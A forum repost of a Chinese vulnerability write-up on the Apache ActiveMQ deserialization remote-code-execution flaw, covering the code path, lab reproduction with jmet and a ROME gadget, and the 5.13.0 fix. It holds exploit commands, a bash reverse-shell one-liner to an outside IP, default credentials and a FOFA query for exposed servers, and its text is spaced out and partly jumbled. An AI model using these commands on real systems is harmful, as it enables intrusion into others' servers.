搜索

[19780] 2021-07-06_ApacheActiveMQ反序列化漏洞

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2021-07-06_ApacheActiveMQ反序列化漏洞 A p a c h e   A c t i v e M Q 反 序 列 化 漏 洞 i 春 秋   2 0 2 1 - 0 7 - 0 6 本 文 是   i   春 秋 论 坛 作 家 「 精 通 l i n u x 开 关 机 」 表 哥 分 享 的 技 术 文 章 ， 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 漏 洞 背 景 漏 洞 背 景 A p a c h e   A c t i v e M Q 是 美 国 阿 帕 奇 ( A p a c h e ) 软 件 基 金 会 所 研 发 的 一 套 开 源 的 消 息 中 间 件 ， 它 支 持 J a v a 消 息 服 务 、 集 群 、 S p r i n g F r a m e w o r k 等 。 随 着 中 间 件 的 启 动 ， 会 打 开 两 个 端 口 ， 6 1 6 1 6 是 工 作 端 口 ， 消 息 在 这 个 端 口 进 行 传 递 ； 8 1 6 1 是 W e b 管 理 页 面 端 口 。 J e t t y 是 一 个 开 源 的 S e r v l e t 容 器 ， 它 为 基 于 J a v a 的 W e b 容 器 ， 例 如 J S P 和 S e r v l e t 提 供 运 行 环 境 。 A c t i v e M Q   5 . 0 及 以 后 版 本 默 认 集 成 了 J e t t y 。 在 启 动 后 提 供 一 个 监 控 A c t i v e M Q 的 W e b 应 用 。 国 外 安 全 研 究 人 员 p w n t e s t e r 等 人 曝 光 A p a c h e   A c t i v e M Q 存 在 反 序 列 化 漏 洞 ， 远 程 攻 击 者 使 用 特 定 G a d g e t 可 进 行 反 序 列 化 攻 击 ， 在 受 影 响 系 统 上 实 现 执 行 远 程 代 码 。 漏 洞 影 响 漏 洞 影 响 漏 洞 影 响 版 本 ： A p a c h e   A c t i v e M Q   5 . 0 . 0   ~   5 . 1 2 . 1 在 F O F A 上 用 t i t l e 和 s e r v e r 作 为 关 键 词 检 索 ， 如 ： t i t l e = " A p a c h e   A c t i v e M Q "   & &   s e r v e r = " J e t t y ( 8 . 1 . 1 6 . v 2 0 1 4 0 9 0 3 ) " ， 筛 选 出 2 0 1 4 年 发
布 的 较 老 版 本 ， 例 如 ： A p a c h e   A c t i v e M Q     5 . 1 1 . 1 。 互 联 网 上 老 版 本 A c t i v e M Q 的 总 量 情 况 ， 如 下 图 所 示 ： 当 我 们 不 限 制 A p a c h e   A c t i v e M Q 版 本 号 ， 可 以 看 到 ， 互 联 网 上 存 活 的 A c t i v e M Q 数 量 可 观 ， 从 这 我 们 大 致 可 猜 测 ， 漏 洞 爆 发 后 许 多 老 版 本 A c t i v e M Q 采 取 升 级 或 取 消 来 自 公 网 访 问 等 措 施 。 互 联 网 上 各 版 本 A c t i v e M Q 总 量 测 绘 ， 如 下 图 所 示 ： 环 境 搭 建 环 境 搭 建 下 载   A c t i v e M Q   5 . 7 . 0   发 布 版 本 : h t t p : / / a r c h i v e . a p a c h e . o r g / d i s t / a c t i v e m q / a p a c h e - a c t i v e m q / 5 . 7 . 0 / a p a c h e - a c t i v e m q - 5 . 7 . 0 - b i n . t a r . g z 下 载   A c t i v e M Q   5 . 7 . 0   源 码 : h t t p : / / a r c h i v e . a p a c h e . o r g / d i s t / a c t i v e m q / a p a c h e - a c t i v e m q / 5 . 7 . 0 / a c t i v e m q - p a r e n t - 5 . 7 . 0 - s o u r c e - r e l e a s e . z i p 准 备 J D K 环 境 ：
启 动 A p a c h e   A c t i v e M Q 检 验 是 否 运 行 运 行 成 功 ， 执 行 效 果 如 下 图 所 示 ： 访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 6 1 / ， 如 下 图 所 示 ： c d   a c t i v e M Q / a p a c h e - a c t i v e m q - 5 . 7 . 0 / b i n . / a c t i v e m q   s t a r t n e t s t a t   - a n   |   g r e p   6 1 6 1 6
A c t i v e M Q 默 认 口 令 a d m i n / a d m i n ， M Q 队 列 默 认 端 口 6 1 6 1 6 ， W e b 默 认 端 口 8 1 6 1 ， N m a p 扫 描 默 认 不 包 含 这 两 端 口 。 A c t i v e M Q 使 用 默 认 口 令 登 录 ， 效 果 如 下 图 所 示 ： 漏 洞 原 理 漏 洞 原 理 A c t i v e M Q 设 计 目 标 为 ： 提 供 标 准 的 ， 面 向 消 息 的 ， 能 够 跨 越 多 语 言 和 多 系 统 的 应 用 集 成 消 息 通 信 中 间 件 。 A c t i v e M Q 依 据 J M S 标 准 实 现 ， 使 用 J M X 接 口 可 以 编 程 的 方 式 操 作 A c t i v e M Q ， 比 如 与 B r o k e r 交 互 ， 查 询 各 种 B r o k e r 状 态 、 统 计 数 据 ， 浏 览 连 接 、 消 费 者 、 生 产 者 ， 以 及 管 理 消 息 。 使 用 J M X 接 口 可 传 递 J M S   O b j e c t 消 息 ， 因 为 依 赖 于 J a v a 序 列 化 来 封 送 / 还 原 消 息 p a y l o a d ， A c t i v e M Q 存 在 若 干 地 方 因 未 过 滤 危 险 调 用 ， 可 发 生 反 序 列 化 非 法 调 用 。 例 如 在 W e b 控 制 台 查 看 队 列 ， 或 使 用 S t o m p 协 议 进 行 对 象 消 息 转 换 。 此 漏 洞 不 仅 使 得 代 理 人 B r o k e r （ M Q 队 列 ） 受 到 攻 击 ， 使 用 O b j e c t M e s s a g e 消 息 的 应 用 程 序 也 可 被 攻 击 ， 因 为 它 们 在 O b j e c t M e s s a g e . g e t O b j e c t (   ) 调 用 中 也 将 发 生 反 序 列 化 。
左 图 为 生 产 者 消 息 事 务 流 程 图 ， 右 图 为 消 费 者 消 息 事 务 流 程 图 ： A c t i v e M Q 启 动 后 将 处 于 监 听 状 态 ， 翻 看 生 产 者 发 送 消 息 对 应 源 码 文 件 j m e t . j a r ! d e . c o d e w h i t e . j m e t . t a r g e t . i m p l . A c t i v e M Q T a r g e t # i n i t ( ) 。 生 产 者 发 送 消 息 ， 具 体 代 码 如 下 ： 当 在 A c t i v e M Q 控 制 台 进 行 点 击 查 看 消 息 ， 其 对 应 源 码 文 件 a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - w e b - j m e t . j a r ! d e . c o d e w h i t e . j m e t . t a r g e t . i m p l . A c t i v e M Q T a r g e t # i n i t ( ) t r y   {                         f a c t o r y   =   n e w   A c t i v e M Q C o n n e c t i o n F a c t o r y ( " t c p : / / "   +   g e t H o s t ( )   +   " : "   +   g e t P o r t ( ) ) ;                         c o n n e c t i o n   =   f a c t o r y . c r e a t e C o n n e c t i o n ( g e t U s e r ( ) ,   g e t P a s s w o r d ( ) ) ;                         s e s s i o n   =   c o n n e c t i o n . c r e a t e S e s s i o n ( f a l s e ,   A c t i v e M Q S e s s i o n . A U T O _ A C K N O W L E D G E ) ;                         s w i t c h   ( g e t D e s t T y p e ( ) )   {                                 c a s e   Q U E U E :                                         d e s t   =   n e w   A c t i v e M Q Q u e u e ( g e t D e s t i n a t i o n ( ) ) ;                                         b r e a k ;                                 c a s e   T O P I C :                                         d e s t   =   n e w   A c t i v e M Q T o p i c ( g e t D e s t i n a t i o n ( ) ) ;                                         b r e a k ;                         }                         p r o d u c e r   =   s e s s i o n . c r e a t e P r o d u c e r ( d e s t ) ;                         c o n n e c t i o n . s t a r t ( ) ; }   c a t c h   ( J M * * c e p t i o n   e )   {                         t h r o w   n e w   I n i t E x c e p t i o n ( e . f i l l I n S t a c k T r a c e ( ) ) ; }
c o n s o l e s r c m a i n w e b a p p m e s s a g e . j s p 。 m e s s a g e . j s p 具 体 代 码 如 下 ： 跟 进 m e s s a g e Q u e r y . j a v a ， 具 体 代 码 如 下 ： a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - w e b - c o n s o l e s r c m a i n w e b a p p m e s s a g e . j s p l i n e   1 5 8 - 1 7 1 < t a b l e   i d = " b o d y "   w i d t h = " 1 0 0 % " >                                                                 < t h e a d >                                                                                 < t r >                                                                                                 < t h >                                                                                                         M e s s a g e   D e t a i l s                                                                                                 < / t h >                                                                                 < / t r >                                                                 < / t h e a d >                                                                 < t b o d y >                                                                                 < t r >                                                                                                 < t d > < d i v   c l a s s = " m e s s a g e " > < p r e   c l a s s = " p r e t t y p r i n t " > < c : o u t   v a l u e                                                                                 < / t r >                                                                 < / t b o d y >                                                 < / t a b l e >
跟 进 O b j e c t M e s s a g e . g e t o b j e c t (   ) ， 其 具 体 实 现 为 A c t i v e M Q O b j e c t M e s s a g e ， 具 体 代 码 如 下 ： a c t i v e m q - p a r e n t - 5 . 7 . 0 - s o u r c e - r e l e a s e a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - c o r e s r c m a i n j a v a o r g a p a c h e a c t i v e m q b r o k e r r e g i o n p o l i c y M e s s a g e Q u e r y . j a v a l i n e   7 5 - 9 2 p u b l i c   O b j e c t   g e t B o d y ( )   t h r o w s   J M * * c e p t i o n   {                 M e s s a g e   m e s s a g e   =   g e t M e s s a g e ( ) ;                 i f   ( m e s s a g e   i n s t a n c e o f   T e x t M e s s a g e )   {                         r e t u r n   ( ( T e x t M e s s a g e )   m e s s a g e ) . g e t T e x t ( ) ;                 }                 i f   ( m e s s a g e   i n s t a n c e o f   O b j e c t M e s s a g e )   {                         t r y   {                                 r e t u r n   ( ( O b j e c t M e s s a g e )   m e s s a g e ) . g e t O b j e c t ( ) ;                         }   c a t c h   ( J M * * c e p t i o n   e )   {                                 / / m e s s a g e   c o u l d   n o t   b e   p a r s e d ,   m a k e   t h e   r e a s o n   a v a i l a b l e                                 r e t u r n   e ;                         }                 }         i f   ( m e s s a g e   i n s t a n c e o f   M a p M e s s a g e )   {                 r e t u r n   c r e a t e M a p B o d y ( ( M a p M e s s a g e )   m e s s a g e ) ;         }         r e t u r n   n u l l ; }
综 上 ， 点 击 漏 洞 触 发 流 程 如 下 ： m e s s a g e . j s p - > M e s s a g e Q u e r y . g e t B o d y (   ) - > A c t i v e M Q O b j e c t M e s s a g e . g e t O b j e c t (   ) - > d a t a i n p u t . r e a d O b j e c t (   ) 漏 洞 复 现 漏 洞 复 现 反 序 列 化 漏 洞 利 用 需 使 用 G a d g e t ， y s o s e r i a l . j a r 内 含 多 套 G a d g e t 。 此 处 漏 洞 复 现 可 以 使 用 j m e t . j a r ， 在 同 目 录 下 创 建 e x t e r n a l 文 件 夹 （ 解 决 文 件 夹 不 存 在 的 错 误 ） 。 a c t i v e m q - p a r e n t - 5 . 7 . 0 - s o u r c e - r e l e a s e a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - c o r e s r c m a i n j a v a o r g a p a c h e a c t i v e m q c o m m a n d A c t i v e M Q M e s s a g e . j a v a l i n e   1 7 4 - 1 9 6   p u b l i c   c l a s s   A c t i v e M Q O b j e c t M e s s a g e   e x t e n d s   A c t i v e M Q M e s s a g e   i m p l e m e n t s   O b j e c t M e s s a g e   { . . .         p u b l i c   S e r i a l i z a b l e   g e t O b j e c t ( )   t h r o w s   J M * * c e p t i o n   {                 i f   ( o b j e c t   = =   n u l l   & &   g e t C o n t e n t ( )   ! =   n u l l )   {                         t r y   {                                 B y t e S e q u e n c e   c o n t e n t   =   g e t C o n t e n t ( ) ;                                 I n p u t S t r e a m   i s   =   n e w   B y t e A r r a y I n p u t S t r e a m ( c o n t e n t ) ;                                 i f   ( i s C o m p r e s s e d ( ) )   {                                         i s   =   n e w   I n f l a t e r I n p u t S t r e a m ( i s ) ;                                 }                                 D a t a I n p u t S t r e a m   d a t a I n   =   n e w   D a t a I n p u t S t r e a m ( i s ) ;                                 C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m   o b j I n   =   n e w   C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m ( d a t a I n ) ;                                 t r y   {                                         o b j e c t   =   ( S e r i a l i z a b l e ) o b j I n . r e a d O b j e c t ( ) ;                                 }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   c e )   {                                         t h r o w   J M * * c e p t i o n S u p p o r t . c r e a t e ( " F a i l e d   t o   b u i l d   b o d y   f r o m   c o n t e n t .   S e r i a l i z a b l e   c l a s s   n o t   a v a i l a b l e   t o   b r o k e r .   R e a s o n :   "                                 }   f i n a l l y   {                                         d a t a I n . c l o s e ( ) ;                                 }                         }   c a t c h   ( I O E x c e p t i o n   e )   {                                 t h r o w   J M * * c e p t i o n S u p p o r t . c r e a t e ( " F a i l e d   t o   b u i l d   b o d y   f r o m   b y t e s .   R e a s o n :   "   +   e ,   e ) ;                         }                 }                 r e t u r n   t h i s . o b j e c t ;         } . . . }
其 中 j m e t . j a r 已 自 带 y s o s e r i a l ， 封 装 了 一 套 代 码 ， 可 生 成 P a y l o a d 并 连 接 M Q 发 送 ， 具 体 代 码 见 上 文 分 析 。 使 用 如 下 命 令 ： j a v a   - j a r   j m e t - 0 . 1 . 0 - a l l . j a r   - Q   a l i c e   - I   A c t i v e M Q   - s   - Y   " t o u c h   / t m p / s u c c e s s "   - Y p   R O M E   1 7 2 . 1 6 . 3 3 . 1 5 7   6 1 6 1 6 上 述 命 令 ， - Q 为 插 入 a l i c e 的 队 列 ， - I 为 选 择 装 载 A c t i v e M Q 攻 击 模 块   - s     为 选 择 y s o s e r i a l   p a y l o a d   - Y   为 攻 击 模 式 和 内 容   - Y p     为 选 择 攻 击 利 用 链 R O M E ， 也 可 以 选 中 其 他 G a d g e t 。 操 作 较 简 单 ， 分 3 步 ： 1 、 使 用 j m e t 快 速 生 成 恶 意 序 列 化 对 象 ； 2 、 发 序 列 化 对 象 到 M Q - 6 1 6 1 6 端 口 ， 消 息 插 入 队 列 ； 3 、 访 问 W e b 管 理 界 面 ， 读 取 消 息 触 发 反 序 列 化 漏 洞 点 ， G a d g e t 执 行 。 j m e t . j a r 执 行 效 果 ， 如 下 图 所 示 ： 访 问 a l i c e 队 列 ， 根 据 消 息 I D 可 以 找 到 对 应 的 记 录 ， 效 果 如 下 图 所 示 ： 点 击 队 列 触 发 ， 效 果 如 下 图 所 示 ： 反 弹 s h e l l 命 令 需 要 b a s h 编 码 ， 命 令 如 下 ：
命 令 执 行 效 果 ， 如 下 图 所 示 ： 在 对 应 V P S 上 ， 使 用 N C 命 令 接 收 S h e l l ， 即 可 完 成 R C E 。 漏 洞 防 护 方 案 漏 洞 防 护 方 案 1 、 该 漏 洞 在   5 . 1 3 . 0   及 其 以 后 版 本 ， 对 反 序 列 化 危 险 类 进 行 了 过 滤 。 改 动 C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m # r e s o l v e C l a s s (   ) 和 C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m # r e s o l v e P r o x y C l a s s (   ) 在 具 体 实 现 中 调 用   c h e c k S e c u r i t y (   ) 检 查 ， 如 序 列 化 的 对 象 不 在 白 名 单 类 清 单 内 ， 将 抛 出 异 常 。 允 许 反 序 列 化 的 类 需 要 在 系 统 清 单 中 声 明 ， 系 统 清 单 位 置 ： o r g . a p a c h e . a c t i v e m q . S E R I A L I Z A B L E _ P A C K A G E S 默 认 清 单 ： 新 增 白 名 单 检 查 c h e c k S e c u r i t y ( ) ， 代 码 如 下 ： b a s h   - i   > &   / d e v / t c p / 8 2 . 1 5 6 . 1 9 6 . 1 6 0 / 2 3 4 5 6   0 > & 1 b a s h   - c   { e c h o , B A S E 6 4 - C O M M A N D } | { b a s e 6 4 , - d } | { b a s h , - i } j a v a   - j a r   j m e t - 0 . 1 . 0 - a l l . j a r   - Q   e v e n t   - I   A c t i v e M Q   - s   - Y   " 编 码 后 的 反 弹 命 令 "   - Y p   R O M E   V P S - I P   6 1 6 1 6                 j a v a . l a n g                 j a v a . u t i l                 o r g . a p a c h e . a c t i v e m q                 o r g . f u s e s o u r c e . h a w t b u f                 c o m . t h o u g h t w o r k s . x s t r e a m . m a p p e r
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理